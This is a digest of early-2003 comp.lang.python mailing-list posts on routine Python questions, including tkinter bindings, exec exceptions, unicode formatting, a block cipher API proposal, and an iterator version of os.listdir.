Subject: tkinter ctrl-A in text widget
In-Reply-To: <b09dit$1iq8$1@mikill.isnet.is>
References: <b09dit$1iq8$1@mikill.isnet.is>
Message-ID: <20030117173857.GB20813@unpythonic.net>

You can replace the binding with
    t = Tk()
    t.bind_class("Text", "<Control-a>", ...)

or you can override it on a particular Text with

    def f(event):
        ...
        return "break"

    x = Text(t)
    x.bind("<Control-a>", f)

Jeff




From ykingma at accessforall.nl  Thu Jan 16 16:28:05 2003
From: ykingma at accessforall.nl (Ype Kingma)
Date: Thu, 16 Jan 2003 22:28:05 +0100
Subject: try exec
References: <rm7e2vk3k2n1prbaf80p89fecsgsuher9p@4ax.com>
Message-ID: <3e2728cd$0$130$e4fe514c@dreader5.news.xs4all.nl>

Afanasiy wrote:

> Some code I "exec" throws a TypeError exception. I want it to throw this
> exception but want to be able to catch this along with the others which
> are in fact being caught by the try/except block.
> 
> The specific TypeError in this case is caused by a module-defined
> function being called with the incorrect number of arguments. Again,
> I want to catch this exception. The problem is, this exception, unlike
> the others, is not being caught/handled by my try/except block.

How do you know it is thrown?
 
> Can someone tell me why this is and perhaps how I can catch it?

The try/except below should catch a TypeError.
However, I'd prefer to control the namespace in which exec
is executing. You are not doing this now, so exec executes
in the namespace it happens to be in, ie. your module's
namespace. This might cause unexpected results, but
I would not expect from the code you posted.

Adding namespace gives:
 
> i=0

namespace = {}

> for line, expecting in lines:
>   i+=1

print repr(namespace)

>   print '[%d] %s' % (i, line)

print '[%d %d] %s' % (i, expecting, line)

>   try:
>     exec line
    exec line in namespace
>     if expecting==0:
>       printerror('this should have thrown an exception')
>   except:
>     print '\t '+repr(sys.exc_value.args)
>     if expecting==1:
>       printerror('this should not be an exception')
> 
> ---
> 
> The structure of "lines" is :
> 
> lines = [
>   ('foo = MyModule.Something()',1),
>   ('foo.Function("hmm")',0),
>   ...etc..
> ]

Good luck,
Ype




From howard at eegsoftware.com  Sun Jan  5 14:24:29 2003
From: howard at eegsoftware.com (Howard Lightstone)
Date: Sun, 05 Jan 2003 19:24:29 GMT
Subject: Finding all files for embedded distribution
Message-ID: <Xns92FA7410C33BDhowardeegsoftwarecom@66.75.162.196>

Yet another embedding question.......

I have embedded Python (and Tkinter, Pmw, Blt, Pycdx,...) in an application 
which I want to build a "distribution" for.  Of course, my application 
starts with a C++ main module and not a Python script.  Both Installer and 
Py2exe start from python scripts so .... how would I go about figuring out 
all the python library scripts needed to run?

For debugging, I do have a Python-only startup script which runs just the 
GUI part of things (and not the real-time portions).  I don't mind having 
to set up my own "paths" for things but I am somewhat baffled in finding 
out all the nested imports.  Just in my own scripts (about 45 files), I 
have lots of imports.  

I suppose it would be possible to just copy the whole Python library to the 
distribution CD but that seems like overkill.

Should I be patching something from py2exe or Importer to report imports 
(and where would I start)?

Any help would be greatly appreciated (since I left this to the last 
thing/minute, as usual).

Howard



From dr_jackson at yahoo.com  Fri Jan 31 11:56:03 2003
From: dr_jackson at yahoo.com (DJ)
Date: 31 Jan 2003 08:56:03 -0800
Subject: tmda and python
Message-ID: <42b552b5.0301310856.70ec96d6@posting.google.com>

Hello,

I am having a problem with getting tmda to work properly with qmail.
I'm not sure if it's a Python issue or not.

0) Redhat 7.3 system with python rpms

 python2-2.1.1-2.72
 mod_python-2.7.6-1
 python-tools-1.5.2-42.72

1) tried to compile with source and got this:

[root at Knight tmda-0.68]# ./compileall
Traceback (innermost last):
  File "./compileall", line 95, in ?
    sys.exit(not main())
  File "./compileall", line 88, in main
    success = success and compile_dir(dir)
  File "./compileall", line 39, in compile_dir
    major, minor = sys.version_info[0:2]
AttributeError: version_info

2) So, not knowing any python, I installed it as a RPM with no
reported probs. Still wondering if the above is a problem????

  rpmbuild -tb tmda-0.68.tgz
  rpm -Uvh /usr/src/redhat/RPMS/noarch/tmda-0.68-1.noarch.rpm

I have also posted this in alt.comp.mail.qmail in search of an answer.
Thanks for any help offered.



From alan_salmoni at yahoo.com  Tue Jan 21 13:50:37 2003
From: alan_salmoni at yahoo.com (Alan James Salmoni)
Date: 21 Jan 2003 10:50:37 -0800
Subject: my favs
References: <b0gp1r$mec$1@news.ksc.co.th>
Message-ID: <b68f71a7.0301211050.68ab02dd@posting.google.com>

Allan,

Very concise. So what are your pet peeves then?

Alan James Salmoni
SalStat Statistics
http://salstat.sunsite.dk

"Allan Wichelman" <wichelman at hotmail.com> wrote in message news:<b0gp1r$mec$1 at news.ksc.co.th>...



From mcfletch at rogers.com  Fri Jan 31 14:13:42 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Fri, 31 Jan 2003 14:13:42 -0500
Subject: Reliably getting/setting the (current) encoding name?
In-Reply-To: <7h365s5w5hw.fsf@pc150.maths.bris.ac.uk>
References: <mailman.1043989740.10681.python-list@python.org> <7h3znphwdtp.fsf@pc150.maths.bris.ac.uk> <mailman.1044034781.11512.python-list@python.org> <7h365s5w5hw.fsf@pc150.maths.bris.ac.uk>
Message-ID: <3E3ACAE6.5050705@rogers.com>

Michael Hudson wrote:
...

>> >>> sys.getdefaultencoding()
>>'ascii'
>>
>>(Alex mentioned it in his post)
>>    
>>
>
>But that doesn't change to reflect the locale, which I thought was the
>point of what you asked.
>  
>

Well, it does with the hack using setdefaultencoding ;) .

...

>That did occur to me as a possible problem.  Did we mention converting
>your app to all-unicode-all-the-time?  Oh yes, I think you did.  Try
>it: it might not be as hard as you think.  I was surprised how easy it
>was to convert pyrepl.
>  
>

I don't expect it'll be too terribly difficult, but wxprop is heavily 
into types, it's got an lot of automation machinery (including 
type-checking and coercian) for dealing with strings in a GUI as part of 
an object model.  Suddenly switching the object-model to be unicode 
based is probably going to cause headaches with upgrading old content 
and the like.  It's just not a place I want to venture just yet.

>>At the moment, I'm going to go down the path to evil and requiring
>>the application to set a useful default encoding using the hack Alex
>>pointed out.
>>    
>>
>
>Don't come running to us when, etc. :-)
>
>Cheers,
>M.
>

But why am I paying you these huge Python licensing fees then ;) ,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From phr-n2003b at NOSPAMnightsong.com  Wed Jan 29 00:48:28 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 28 Jan 2003 21:48:28 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <7x1y2wzpr0.fsf@ruckus.brouhaha.com> <mailman.1043816392.20156.python-list@python.org>
Message-ID: <7xu1fsbj6b.fsf@ruckus.brouhaha.com>

mertz at gnosis.cx (David Mertz, Ph.D.) writes:
> The rotor module existed before the PEP process did.  If someone wanted
> to introduce rotor today as a new addition, I would strongly advocate
> that it not be added without a prior PEP.

OK, look at all the other library modules introduced more recently,
and tell me how many have PEP's.  The answer is not many--in fact,
looking at the "Finished PEPs" section of <www.python.org/peps>, it
appears to be none.  A few of the "Open PEPs" (268, 282, and maybe one
or two others) are purely about library modules.  The rest involve
changing existing Python internals in one way or another.

> |Anyway, so far at least, the actual crypto application developers who
> |have looked at this module have either said it looks fine or else have
> |suggested minor changes which are easy to incorporate.
> 
> Ahhh... minor changes!  Exactly why a PEP (or a revision of an existing
> one) is necessary.

Well, no, an informal process (or no process) is usually enough, as we
see from the many libraries released without having gone through the
PEP process.  Notice that PEP 272 looks intended mostly to guide
cipher module implementers, not application writers.  The same can be
said of the other informational PEP's 247 through 249.  Application
interfaces are generally described in ordinary documentation, not
PEP's.

In fact, I don't think any module implementing PEP 272 has ever been
written, and the interface it describes isn't that great, so I
wouldn't call the PEP process a big success where block ciphers are
concerned.  There was a bunch of subsequent discussion on
Python-crypto that led up to the current proposal, and that seems to
have done a better job.

> |But such a delay means that useful, real-world applications that need
> |the module will take longer to become widely deployable, etc.
> 
> Nope.  It means that real-world applications that want to utilize the
> module will need to include it in their distribution archive.  That's
> all.  A few extra bytes to distribute.

That's reasonable for modules written in Python, but I don't subscribe
to that idea for modules written in C.  I can't expect the users to
have C compilers, and I don't have the dev tools to compile binaries
of the module for every platform people might want to use it on.  I
don't even have tools to compile it for Windows.  And even if I had
all those compilers, shipping dozens of binaries is far more than "a
few extra bytes".  I don't really want to distribute binaries AT ALL,
since I wouldn't want to run binaries that I got from other people.
(I'm semi-ok with binaries from the central Python distribution, but
if it's some random module written by some random stranger, I want to
compile it myself).  Finally, even if I can provide a binary for the
user's platform and OS, the user may not be allowed to run it.  For
example, if someone wants to use the crypto module in a Python web
application (this is a realistic and probable scenario), they have a
hard enough time finding web hosts that let them run Python cgi's at
all.  Finding a web host that lets them install their own binaries is
even harder.

So, the only way to make apps which depend on a C module widely
deployable is to get the module accepted into the Python library, and
then wait a long time until most users have a new enough version of
Python to have gotten the module along with it.  I realize this is a
screwy situation, but it's what we have.  I hope it will be eased by
the introduction of native-code Python compilers that will make fast
enough code from pure Python libraries that we won't need as many C
modules.  But that's a long way in the future.



From peter at engcorp.com  Tue Jan 28 19:09:38 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 19:09:38 -0500
Subject: beating a dead horse: automated form submission
References: <b0e655d.0301251204.5b7415e5@posting.google.com> <b0e655d.0301281341.5d7ae942@posting.google.com>
Message-ID: <3E371BC2.BC18A93@engcorp.com>

Whit Whitfield wrote:
> 
> Ok, so I at least got past step 1 -- apparently my WinPython was setup
> incorrectly because the code snippet above worked in Idle and on my
> unix version of Python also.  (I assume that getting '200 OK' back
> from musical
> means it worked.
> Now my only question is this:  I've scoped out the forms that I need
> to automate and have all the name-data pairs, but do I need to do
> anything special for the Submit button?  Or does posting the data
> automatically start the server-side onSubmit actions?  Thanks for your
> help everyone!

It's up to the receiving server what is done with the Submit button
information.  In many cases, it is checked to see that it equals the
value specified in the form, and without that the input is not processed.
Basically, since you can't be sure, you should either test it (and if
you don't need it, then you don't need it), or just look in the form
and make sure you include a key/value pair in your data that matches
whatever the Submit button would actually do.

-Peter



From janeaustine50 at hotmail.com  Tue Jan 21 22:07:33 2003
From: janeaustine50 at hotmail.com (Jane Austine)
Date: 21 Jan 2003 19:07:33 -0800
Subject: Can anyone decode this Perl code, please?
Message-ID: <ba1e306f.0301211907.25fc9037@posting.google.com>

I am reading Object-Oriented Reengineering Patterns. I really enjoy
this book. On p.177, however, there is a perl code, which is all Greek
to me. Can anyone here translate it into a pseudo-code or a python
code(literal translation might do)?

Thank you so much.

#! /usr/bin/env perl -w
#duplocForCPP.pl - detect duplicated lines of code (algorithm only)
# Synopsis: duplocForCPP.pl filename ...
# Takes code (or other) files and collects all line numbers of lines
# equal to each other within these files. The algorithm is linear(in
# space and time) to the number of lines in input.

$equivalenceClassMinimalSize =1;
$slidingWindowSize=5;
$removeKeywords=0;
@keywords=qw(if
	then
	else
	for
	{
	}
);

$keywordsRegExp=hoin '|', at keywords;

@unwantedlines=qw( else
	return
	return;
	return result;
	}else{
		#else
		#endif
		{
		}
		;
	};
);
push @unwantedLines, @keyswords;

@unwantedlines{@unwantedlines}=(1) x @unwantedLines;

$totalLines=0;
$emptyLines=0;
$codeLines=0;
@currentLines=();
@currentLineNos=();
%eqLines=();
$inComment=0;

$start=(times)[0];

while(<>) {
	chomp;
	$totalLines++;

	# remove comments of type /* */ 
	my $codeOnly='';
	while (($inComment && m|\*/|) || (!$inComment && m|/\*|)) {
		unless($inComment) { $codeOnly .=$` }
		$inComment=!$inComment;
		$_=$';
	}
	$codeOnly .= $_ unless $inComment;
	$_=$codeOnly;
	
	s|//.*$||;
	s/\s+//g;
	s/$keywordsRegExp//og if $removeKeywords;

	#remove empty and unwanted lines
	if (((!$_ && $emptyLines++)
		|| (defined $unwantedLInes{$_} && $codeLines++)) { next }

	$codeLines++;
	push @currentLines, $_;
	push @currentLineNos, $.;
	if ($slidingWIndowSize < @currentLines) {
		shift @currentLines;
		shift @currentLineNos;
	}

	# print STDERR "Line $totalLInes >$_<\n";

	my $lineToBeCompared = join '', @currentLines;
	my $lineNumbersCompared="<$ARGV>"; 
	$lineNumbersCompared .=join '/', @currentLineNos;
	# print STDERR "$lineNumbersCompared\n";
	if ($bucketRef = $eqLines{$lineToBeCompared}) {
		push @$bucketRef, $lineNumbersCompared;
	} else {
		$eqLines{$lineToBeCompared}= [ $lineNumbersCompared ];
	}

	if (eof) { close ARGV } #Reset linenumber-count for next file
}

$end=(times)[0];
$processingTime=$end-$start;

#print the equivalence classes

$numOfMarkedEquivClasses=0;
$numOfMakredElements=0;
foreach $line (sort { length $a <=> length $b } keys %eqLines) {
	if (scalar @{$eqLines{$line}} > $equivalenceClassMinimalSize) {
		$numOfMarkedEquivClaases++;
		$numOfMarkedElements += scalar @{$eqLines{$line}};
		print "Lines: $line\n";
		print "Locations: @{$eqLines{$line}}\n\n";
	}
}

print "\n\n\n";
...(a few more lines of print)



From max at alcyone.com  Wed Jan  8 20:20:07 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 08 Jan 2003 17:20:07 -0800
Subject: Comments on base52 encoder/decoder ?
References: <avcvbj$imq$0@216.39.172.122> <7x4r8jbui3.fsf@ruckus.brouhaha.com>
Message-ID: <3E1CCE47.EEC45481@alcyone.com>

Paul Rubin wrote:

> I'd vote for getting rid of the fancy stuff with the integer codes,
> and also making the odd-character the last character in the encoded
> string rather than the first.  The reason is that lets you encode a
> stream where you don't know the length in advance.

Agreed on all counts.  It should stay at the simple binary -> base52
encoding and, obviously, the reverse operation.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Strange is our situation here upon earth.
\__/ Albert Einstein
    ZOE / http://www.alcyone.com/pyos/zoe/
 A simple Python OpenGL rendering engine.



From bh at intevation.de  Sat Jan 11 11:24:21 2003
From: bh at intevation.de (Bernhard Herzog)
Date: 11 Jan 2003 17:24:21 +0100
Subject: syntax for preset locals without using dummy args with defaults
References: <avmoeu$v8p$0@216.39.172.122> <dqycnYAwFISbyIKjXTWc2Q@comcast.com> <avnssl$rlb$1@slb4.atl.mindspring.net>
Message-ID: <6qadi7r6x6.fsf@salmakis.intevation.de>

Andrew Dalke <adalke at mindspring.com> writes:

> Terry Reedy wrote:
> >>    def foo(x, y=default)(z=some_expression):
> > -1/2 on this syntax.  I would prefer ';' instead of ',' to mark end of
> > run-time variable params and start of define-tine fixed params.  Have
> > no idea how difficult it would be to have compiler differentiate
> > between this and ';' as statement separator.
> 
> Just so I know, do you mean like
> 
> def spam(x, y=default; z=some_expression):
>      ...

IMO this kind of syntax if adopted at all should mean that the
parameters following the ';' must be given as keyword and not as
positional arguments.

Define time parameters should not be inside of the parentheses at all,
only parameters that can be supplied by the caller belong there.

   Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/



From LogiplexSoftware at earthlink.net  Tue Jan 14 19:43:10 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 14 Jan 2003 16:43:10 -0800
Subject: Newbie question: cannot read from file?
In-Reply-To: <3E24A5C0.6000900@freemail.hu>
References: <3E24A5C0.6000900@freemail.hu>
Message-ID: <1042591390.27820.26.camel@software1.logiplex.internal>

On Tue, 2003-01-14 at 16:05, Nagy L?szl? wrote:
>   Hello Python Gurus!
> 
> I'm trying to read a file in 10000 byte blocks. The first read(10000) call
> always reads 681 bytes. I'm not sure why 681. Any subsequent calls
> to read(10000) read 0 bytes. If  I call f.tell(), that returns a wrong file
> position (8192L) but after that I can read a few additional bytes in the
> next read(10000) call. Then any subsequent calls to read(10000)
> read 0 bytes, until I call tell() again (that will return 16384L). And so
> goes on. I read the library reference and it tells that read(size) should
> read at most "size" bytes from the file, or less if the read hits EOF.
> This is all right, 0 is at most 10000 but I have a very bad feeling.
> Did I missed something? Any pointer would help.
> 
>   Laci 1.0
> 
> This is "dir":
> 
> 2003.01.15.  00:47    <DIR>          .
> 2003.01.15.  00:47    <DIR>          ..
> 2003.01.13.  10:50         2 359 350 Arwen.bmp
> 2003.01.14.  22:37                69 Test.txt
> 
> 
> 
>  >>> f = file("Arwen.bmp","r+")

Since the data is a .bmp file, read it in binary mode:

f = file("Arwen.bmp","rb")


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From achim.domma at syynx.de  Fri Jan  3 16:10:53 2003
From: achim.domma at syynx.de (Achim Domma)
Date: Fri, 3 Jan 2003 22:10:53 +0100
Subject: Threaded server in python!?
Message-ID: <av4u4r$v3c$06$1@news.t-online.com>

Hi,

I would like to implement my own http chat server. As far as I know pythons
threads are not very efficient due to the global interpreter lock. But
applications like Zope, Webware, ... work fine and they use threads. Am I
missing something or could somebody post some experiences (good ones and bad
ones) with threaded, socked based python servers.

regards,
Achim





From claird at lairds.com  Wed Jan 29 09:42:08 2003
From: claird at lairds.com (Cameron Laird)
Date: Wed, 29 Jan 2003 14:42:08 -0000
Subject: Something lost in translation? (was: Python vs. C++ Builder - speed of development)
References: <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org> <mzCZ9.915$wd2.80392@newsread2.prod.itd.earthlink.net> <mailman.1043799538.401.python-list@python.org>
Message-ID: <v3fq20208aj732@corp.supernews.com>

In article <mailman.1043799538.401.python-list at python.org>,
Laura Creighton  <lac at strakt.com> wrote:
			.
			.
			.
>Typing 400 words a minute helps as well.  I cannot do that yet, but
>one person here at Strakt can.  Utterly awesome.  I thought that
>200 words was good....
			.
			.
			.
I thought that Gregory Arakelian is recognized as the world record
holder at 158 wpm <URL: http://www.cciw.com/content/typing.html >.
While I suspect there are a handful of people who, in fact, surpass
his mark, I'm equally confident that no human has achieved 400 wpm.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From sholden at holdenweb.com  Tue Jan  7 19:34:34 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Tue, 7 Jan 2003 19:34:34 -0500
Subject: "%s" vs unicode
References: <1GtMGLAYnyG+Ew34@jessikat.demon.co.uk> <m3u1gkwvui.fsf@mira.informatik.hu-berlin.de> <JiqD$KAGb2G+Ewyl@jessikat.fsnet.co.uk>
Message-ID: <loKS9.175$467.90@fe08>

"Robin Becker" <robin at jessikat.fsnet.co.uk> wrote in message
news:JiqD$KAGb2G+Ewyl at jessikat.fsnet.co.uk...
> In article <m3u1gkwvui.fsf at mira.informatik.hu-berlin.de>, Martin v.
> L?wis <martin at v.loewis.de> writes
> >Robin Becker <robin at jessikat.fsnet.co.uk> writes:
> >
> >> That was considered harmful (although I disagreed) so why is this
> >> implicit conversion allowed?
> >
> >It follows the general principle that, when combining byte strings and
> >Unicode strings, the byte string will be converted to Unicode, not
> >vice versa.
> >
> >Regards,
> >Martin
> >
> but the general principal here is that %s converts things to strings.
> What is general about breaking this?


Well, there's also a widening principle that you seem to be ignoring. In the
same way that int+float gives float, and float*complex gives complex, so any
string operation involving a Unicode operation gives a Unicode result.

Otherwise what would you have Python do with non-translatable Unicode
characters it has to handle in a %s substitution? Give an ordinal value
error?

regards
-----------------------------------------------------------------------
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/
-----------------------------------------------------------------------






From johnroth at ameritech.net  Wed Jan  8 09:29:22 2003
From: johnroth at ameritech.net (John Roth)
Date: Wed, 8 Jan 2003 09:29:22 -0500
Subject: no side effects
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
Message-ID: <v1odd3s65qfv85@news.supernews.com>

"Michele Simionato" <mis6 at pitt.edu> wrote in message
news:2259b0e2.0301080510.3b2e5d4f at posting.google.com...
> I was surprised by the following code:
>
> >>> for i in [1,2,3]:
> ...     print i,
> ...     i=3
>
> I would have expected only 1 to be printed, but instead Python
> continues the loop without noticing that the value of i has
> changed. IOW, no side effect.

I'm not certain how you have it coded; indentation tends
to be strange in a newsgroup posting.

If the print and assignment are indented, I would expect
it to print all three integers, one after the other.

If they are not indented, then I would expect the behavior
you got: the for loop executed to completion with a
null body, and then the print statement executed
with the final value of "i".

HTH

John Roth






From andrews at pcug.org.au  Tue Jan  7 22:46:21 2003
From: andrews at pcug.org.au (Avery Andrews)
Date: Wed, 8 Jan 2003 14:46:21 +1100
Subject: Python vs .Net (
In-Reply-To: <mailman.1041982992.14279.python-list@python.org>
References: <mailman.1041982992.14279.python-list@python.org>
Message-ID: <Pine.GSO.4.21.0301081443160.4782-100000@supreme.pcug.org.au>

How does this play out in places that don't recognize software patents,
especially where the local government is not interested in promoting the
dominance of M$?  'twould be odd for USA-ans to be looking to Latin
America and China for the defense of freedom, but such is life ...

On Tue, 7 Jan 2003, Lulu of the Lotus-Eaters wrote:

> "Etienne Charland" <mystery at golden.net> wrote previously:
> |Some work is done to make .NET cross-platform: MONO
> |www.go-mono.com
> 
> I do hope everyone knows that it is not a question of IF, but WHEN,
> Microsoft will decide to sue MONO out of existence.
> 
> The whole thing smells of usual MS dirty tricks... they have released
> just enough of API details to allow Ximian to waste time on implementing
> MONO.  But MS has kept many parts of the API as trade-secrets, and has
> wrapped much of the documented API in patents.
> 
> MS's goal here is to maintain an official face that ".NET" is
> cross-platform and open.  But as soon as MONO has any success at all, MS
> *will* pour millions of dollars into lawyers to claim patent violations
> in MONO (and maybe trademark, copyright, trade-secret) issues.  Those
> lawyers *will* get restraining orders against the distribution of MONO,
> effectively killing the project.  Of course semi-underground copies of
> MONO will still exist, but not any effective development project; and if
> Ximian isn't outright bankrupted, they might eventually win in court,
> many years after the APIs have gone somewhere else altogether.
> 
> Yours, Lulu (a soothsayer)...
> 
> --
> mertz@  | The specter of free information is haunting the `Net!  All the
> gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
> .cx     | alliance...ideas have nothing to lose but their chains.  Unite
>         | against "intellectual property" and anti-privacy regimes!
> -------------------------------------------------------------------------
> 
> 
> 




From tshumway at jdiworks.net  Sun Jan 26 00:17:23 2003
From: tshumway at jdiworks.net (Terrel Shumway)
Date: 26 Jan 2003 05:17:23 -0000
Subject: xlistdir -- an iterator version of os.listdir
Message-ID: <20030126051723.20234.qmail@admin.jdiworks.net>

xlistdir.xlistdir is an iterator version of os.listdir.

It is particularly useful if you have a directory with, for example, 
40,000 files, and you only want to look at the first 10.

  from xlistdir import xlistdir
  x = xlistdir("directory-with-LOTS-of-files")
  
  for i in range(10):
      print x[i] # or "x.next()"


You might also use it to filter the list before allocating it:

  files_only = [ file for file in xlistdir(bigdir) \
	if os.path.isfile(os.path.join(bigdir,file)) ]

  
Most of this code was cut and pasted from xreadlinesmodule.c and posixmodule.c
in Python-2.2.2.tgz

This initial hack may not even compile on platforms without 
opendir/readdir/closedir (e.g. mswin32, mswin16, OS/2) because I do 
not have access to those platforms. 

It does include a unit test, and it does pass for me on Linux. 8-)

If you can build extension modules on MS_WIN32, MS_WIN16, or OS/2 (or others),
please try this out.  If you can make it compile and pass the unit tests, 
you will get a really cool function to use in your programs and share with 
the rest of the python community 8-).


Get the code from http://wxidle.sourceforge.net/projects/xlistdir/

-- Terrel





From imbosol at vt.edu  Tue Jan 14 23:16:04 2003
From: imbosol at vt.edu (Carl Banks)
Date: Wed, 15 Jan 2003 04:16:04 GMT
Subject: Python23: cannot inherit from bool?
References: <mailman.1042597226.22940.python-list@python.org>
Message-ID: <8g5V9.30384$%V.15227@nwrddc02.gnilink.net>

Delaney, Timothy wrote:
>> From: franks at mcs.anl.gov [mailto:franks at mcs.anl.gov]
>> 
>> It seems that 2.3 doesn't allow you to inherit from bool:
>> Could someone explain the reason for this restriction?
> 
> `bool` is a special class which is guaranteed to only ever have two
> instances instantiated (a dualton if you will) - True and False.

"Doubleton" would be better.


> Allowing `bool` to be subclassed would break this guarantee.

This reminds me of a question I've been pondering, in case anyone
knows: Is it the plan that built-in singleton objects (None, Ellipsis,
NotImplemented, ?) will eventually get a new metatype?  Although it
seems like there would be small benefit for built-in objects (the only
tangible thing I can think of is you could ask a singleton type for
its object), it could be used for Python types, too.


-- 
CARL BANKS



From bdesth at nospam.free.fr  Wed Jan  8 23:51:22 2003
From: bdesth at nospam.free.fr (laotseu)
Date: Wed, 08 Jan 2003 23:51:22 -0500
Subject: Small problem when overloading member functions...
References: <ef7a350b.0301081234.69f16267@posting.google.com> <3E1CF98C.6080204@nospam.free.fr>
Message-ID: <3E1CFFCA.30708@nospam.free.fr>

laotseu wrote:
(snip)
> What you're doing here is 'replacing' an instance method with another 
> one (I guess in Python's parlance, we should say 'rebinding').
> 
> If what you're trying to do is just that (replacing an instance method), 
>  do it the simplest way (the one that is not commented in your code).
> 
> Now if you want to 'replace' a method for all existing instances of a 
> class,  I leave it up to some __class__ Guru !-)
> 
> Laotseu
> 

Ok, I got it a few minutes later :

class Truc:
     def test(self):
         print "old test"

a = Truc()

def test2(self):
     print "new test"

a.__class__.test = test2
a.test()
 >>>new test

Laotseu




From maxm at mxm.dk  Thu Jan  9 05:05:07 2003
From: maxm at mxm.dk (Max M)
Date: Thu, 09 Jan 2003 11:05:07 +0100
Subject: Do pythons like sugar?
In-Reply-To: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
References: <6u6q1vk7dgjps43t0uuk8eut1ghlgnoc71@4ax.com>
Message-ID: <3E1D4953.1080704@mxm.dk>

Afanasiy wrote:
> I've written this method for a text formatting class...
> But it's ugly as sin. With all those self's I consider
> it much less readable than it could be...
> 
> A few languages provide syntax sugar for dealing with
> this by allowing you to localize the class scope.
> 
> Does Python? eg. `with self do:`
> 
>   def format( self, width=80 ):    
>     self.lines = ['']
>     i = 0
>     for word in self.text.split():  
>       if self.textwidth(self.lines[i]) + self.textwidth(word) <= width:
>         if self.textwidth(self.lines[i]) > 0:
>           self.lines[i] += ' '
>         self.lines[i] += word
>       else:
>         i += 1
>         self.lines.append(word)


No. But a little imagination takes you a long part of the way:

def format( self, width=80 ):
     twidth = self.textwidth
     lines = ['']
     i = 0
     for word in self.text.split():
         if twidth(lines[i]) + twidth(word) <= width:
             if twidth(lines[i]) > 0:
                 lines[i] += ' '
             lines[i] += word
         else:
             i += 1
             lines.append(word)
     self.lines = lines

regards Max M

-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From dale at riverhall.NOTHANKS.co.uk  Thu Jan 30 15:29:50 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Thu, 30 Jan 2003 20:29:50 +0000
Subject: pythonwin namespace
References: <mailman.1043928541.8302.python-list@python.org>
Message-ID: <di2j3vgfirn17mh8j1297a6v13em6uiurr@4ax.com>

Mantovani Alberto <Alberto.Mantovani at bologna.marelli.it> wrote:

>Hi,
>working with Pythonwin I've noted that if you launch a script a first time
>and then you modify and relaunch it, the script that goes in execution is
>always the first one that you launch. To execute the modify script you have
>to exit and to enter   from pythonwin. This could be annoying, so my
>question is:
>
>1) Is there some method or some script to avoid this? 
>I have found the manner to delete the module if it is imported with <import>
>but not if it is imported with <from xxx import yyy>.
>
>2) Is it possible to run automatically a my python script when I launch the
>pythonwin?
>If this was possible I could, at the start, to save all module imported in
>pythonwin (<modules.key()>) and when I want to clear the namespace to delete
>the new module imported
>
>3) Is it possible also to clear the screen of interpr. by some commands?
>best regards
>
>Mantovani Alberto
>
>
1. This is a well known and often raised issue. Google for past
discussion.
2. Take a look at the PYTHONSTARTUP environment variable. I'm not sure
if Pythonwin looks at it but it might.
3. Ctrl-A, Del clears the interactive window

--
Dale Strickland-Clark
Riverhall Systems Ltd



From jepler at unpythonic.net  Wed Jan 29 16:32:21 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 29 Jan 2003 15:32:21 -0600
Subject: [Python-Dev] python2.3 on m68k-nommu uClinux, really slow
In-Reply-To: <3E37E8EE.27693.101D03C4@localhost>
References: <3E37E8EE.27693.101D03C4@localhost>
Message-ID: <20030129213220.GC7716@unpythonic.net>

This question may be better asked on python-list than python-dev.

One likely cause is the implementation of integer multiplication, which
uses floating point arithmetic to determine whether the result of the
multiplication overflows or is implicitly converted to long.  I am
guessing that that your system probably doesn't have hardware floating
point.

If this is true, you could usefully replace the code by a custom
32x32->64 multiply and slightly modified test, or anything else that
still does the right thing.  (python 2.1 seems to use a different method
that only uses integers, you might steal that instead)

This code is at least in intobject.c and may be inlined in ceval.c for
the BINARY_MULTIPLY opcode.

Jeff




From spatel at cinci.rr.com  Sun Jan 26 18:50:17 2003
From: spatel at cinci.rr.com (Samir Patel)
Date: Sun, 26 Jan 2003 18:50:17 -0500
Subject: Why does int(5.0) returns 0
Message-ID: <200301261850.17013.spatel@cinci.rr.com>

Here is verbose output of program: print int(5.0)

It outputs 0

********************************************************


# /usr/lib/python2.2/site.pyc matches /usr/lib/python2.2/site.py
import site # precompiled from /usr/lib/python2.2/site.pyc
# /usr/lib/python2.2/os.pyc matches /usr/lib/python2.2/os.py
import os # precompiled from /usr/lib/python2.2/os.pyc
import posix # builtin
# /usr/lib/python2.2/posixpath.pyc matches /usr/lib/python2.2/posixpath.py
import posixpath # precompiled from /usr/lib/python2.2/posixpath.pyc
# /usr/lib/python2.2/stat.pyc matches /usr/lib/python2.2/stat.py
import stat # precompiled from /usr/lib/python2.2/stat.pyc
# /usr/lib/python2.2/UserDict.pyc matches /usr/lib/python2.2/UserDict.py
import UserDict # precompiled from /usr/lib/python2.2/UserDict.pyc
